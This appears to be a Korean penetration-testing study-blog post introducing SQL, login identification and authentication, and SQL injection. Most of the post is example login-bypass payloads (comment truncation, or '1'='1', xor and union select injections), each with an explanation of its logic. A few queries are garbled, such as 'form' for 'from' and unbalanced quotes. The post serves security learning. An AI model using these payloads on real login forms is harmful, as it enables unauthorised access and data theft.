DB : 많은 사람들이 데이터를 공유하여 사용할 목적으로 체계화해 통합하고 관리하는 데이터 집합!!
DB를 쉽게 엑셀로 비유!
- Database : 엑셀 파일 자체 (test.xlsx)
- Table : 엑셀 파일 안에 엑셀 시트 (sheet1, sheet2...), 사용할 목적에 따라 나눈다!
- Column : 열(세로), 속성
- Row : 행 (가로), 속성에 대한 값들
SQL(Structured Query Language)
- DB(DataBase)와 WAS(Web Application Server)가 요청과 응답할 때 사용하는 언어
- 데이터베이스를 생성 및 관리하기 위해 만들어진 프로그래밍 언어
SELECT 문 : 테이블에서 데이터를 조회(추출)하는 SQL 데이터 조작 언어!
사용 법 : select [컬러명] from [테이블 명] (where 컬럼명=데이터);
- ※ * (Asterisk, 에스터리스) : 모든 이라는 뜻!!
- and : 두가지 모두 참이면 참, 하나라도 거짓이면 모두 거짓!!
- or : 두가지 중 하나라도 참이면 참, 모두 거짓일 경우만 거짓!!
- SQL에서 우선순위는 NOT >> AND >> OR
로그인 인증 과정!!
- 식별(사용자 -> 시스템)
- 많은 데이터 중에서 특정한 데이터를 가려 내는 것
- 사용자가 시스템에게 인증 받은 자라는 것을 확인 요청하는 것!!
- 식별 정보 : ID
- 인증(시스템 -> 사용자)
- 시스템이 가입된 사람이 맞는지 확인하는 것!!
- 시스템이 사용자에게 인증 받은 자라는 것을 비밀번호를 통해 요청하는 것!!
- 인증 정보 : 비밀번호
1) 식별 & 인증 동시에 하는 Case
아이디와 비밀번호를 동시에 비교해서 로그인!!
select * from Table
where id = ' ' and password = ' ';
2) 식별 & 인증 분리해서 하는 Case
아이디를 먼저 존재하는지 확인 후 비밀번호를 비교해서 로그인!!
if(select * from Table where id = ' '; == user_id){
if(select * from Table where password = ' '; == user_pw)
}
※ 충격 사실 : 1번과 2번 방법 둘다 보안상으로 안전하다!!! 둘다 SQL injection 취약점이 존재가 중요!!!
SQL Injection : 질의문을 삽입 하는 공격
- SQL Injection을 통해 할 수 있는 것
- 데이터 추출 : select문의 where문응 이용하여 테이블의 데이터를 추출하는 방법(?)
- 인증 우회 : select문의 where문을 이용하여 세션의 정보를 수정하여 인증을 우회하는 방법(?)
- 데이터 변조 : update문을 이용하여 데이터들을 변조하는 방법(?)
- !!!주의!!! SQL Injection은 데이터 추출/인증위회/데이터 변조를 하는 공격X
- --> 질의문을 삽입해서 공격하여 데이터추출, 인증우회, 데이터 변조를 하는 것!!
1. 식별과 인증을 동시에하는 경우
1-1) 주석 처리 우회
(1) select * from Table where id = 'mario'# ' and password = '1';
(2) select * from Table where id = 'mario' or '1' = '1' # and password = '1';
-> 모든 정보를 추출해 온다 -> 뒤에 and문이 주석 처리되어 모든 정보를 추출한다
1-2) or 구문이용 우회
(1) select * from Table where id = 'mario' or '1' = '1' and password = '1';
-> mario의 정보만 추출해 온다-> 먼저 and문 거짓 하고 or문을 하면 참이라서 id=mario 결과를 추출한다
(2) select * from Table where id = 'mario' or '1' = '1' or '1'= '1' and password = '1';
-> 모든 정보를 추출해 온다 -> 먼저 and문은 거짓,그후 나머지 or문은 참이라서 모든 정보를 추출한다
1-3) xor 구문이용 우회
(1) select * form Table where id = 'mario' xor '1'='1' and password = '1';
-> mario의 정보만 추출해온다 -> 먼저 and문이 거짓이나오고 xor문을 통해 참이라 mario의 결과를 추출한다
1-4) union 이용 우회
(1) select * from Table where id = 'mario'unionselect'1','2','3','4'# and password = '1';
-> union문과 주석처리를 함께사용해서 정보를 추출한다
2. 식별과 인증을 분리하는 경우
1-1) union 이용 우회
(1) select * from Table where id = 'mario' union select 'mario', '1', '2, '3', 4' # and password = '1';
(2) select * from Table where id = 'x' union select 'mario', '1', '2, '3', 4' # and password = '1';
-> mario의 비밀번호를 세션에서 바꿔서 로그인한
2023.04.14 - [모의해킹 공부/과제] - 로그인 & SQL Injection (구현 및 실습)
로그인 & SQL Injection (구현 및 실습)
2023.04.14 - [모의해킹 공부/취업스터디] - [0413 Day03] SQL Injection -01 [0413 Day03] SQL Injection -01 DB : 많은 사람들이 데이터를 공유하여 사용할 목적으로 체계화해 통합하고 관리하는 데이터 집합!! DB를 쉽
jisu069.tistory.com
[아이콘 저작권]
디지털 아이콘 제작자: Muhammad_Usman - Flaticon
Ui 아이콘 제작자: Ilham Fitrotul Hayat - Flaticon
지원 아이콘 제작자: Freepik - Flaticon
'모의해킹 공부 > 모의해킹 스터디' 카테고리의 다른 글
[0504 Day06] XSS(Cross Site Scripting)-01 (0) | 2023.05.05 |
---|---|
[0427 Day05] SQL Injection-03 (1) | 2023.04.28 |
[0420 Day04] SQL Injection-02 (0) | 2023.04.21 |
[0406 Day02] HTTP 로그인& Cookie & Session (0) | 2023.04.07 |
[0330 Day01]WEB! (0) | 2023.03.31 |